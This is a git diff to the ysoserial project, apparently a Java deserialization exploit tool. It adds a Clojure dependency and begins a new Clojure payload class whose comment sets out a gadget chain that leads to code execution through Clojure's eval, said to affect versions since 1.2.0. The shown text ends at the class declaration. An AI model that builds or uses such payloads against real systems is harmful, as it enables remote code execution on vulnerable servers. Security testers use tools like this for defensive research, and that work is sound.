diff --git a/pom.xml b/pom.xml
index 4b1631a..bfa1b2e 100644
--- a/pom.xml
+++ b/pom.xml
@@ -297,6 +297,11 @@
slf4j-api
1.7.21
+
+ org.clojure
+ clojure
+ 1.8.0
+
diff --git a/src/main/java/ysoserial/payloads/Clojure.java b/src/main/java/ysoserial/payloads/Clojure.java
new file mode 100644
index 0000000..f0ad911
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Clojure.java
@@ -0,0 +1,62 @@
+package ysoserial.payloads;
+
+import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
+import clojure.lang.PersistentArrayMap;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/*
+ Gadget chain:
+ ObjectInputStream.readObject()
+ HashMap.readObject()
+ AbstractTableModel$ff19274a.hashCode()
+ clojure.core$comp$fn__4727.invoke()
+ clojure.core$constantly$fn__4614.invoke()
+ clojure.main$eval_opt.invoke()
+
+ Requires:
+ org.clojure:clojure
+ Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
+ */
+@Dependencies({"org.clojure:clojure:1.8.0"})
+public class Clojure extends PayloadRunner implements ObjectPayload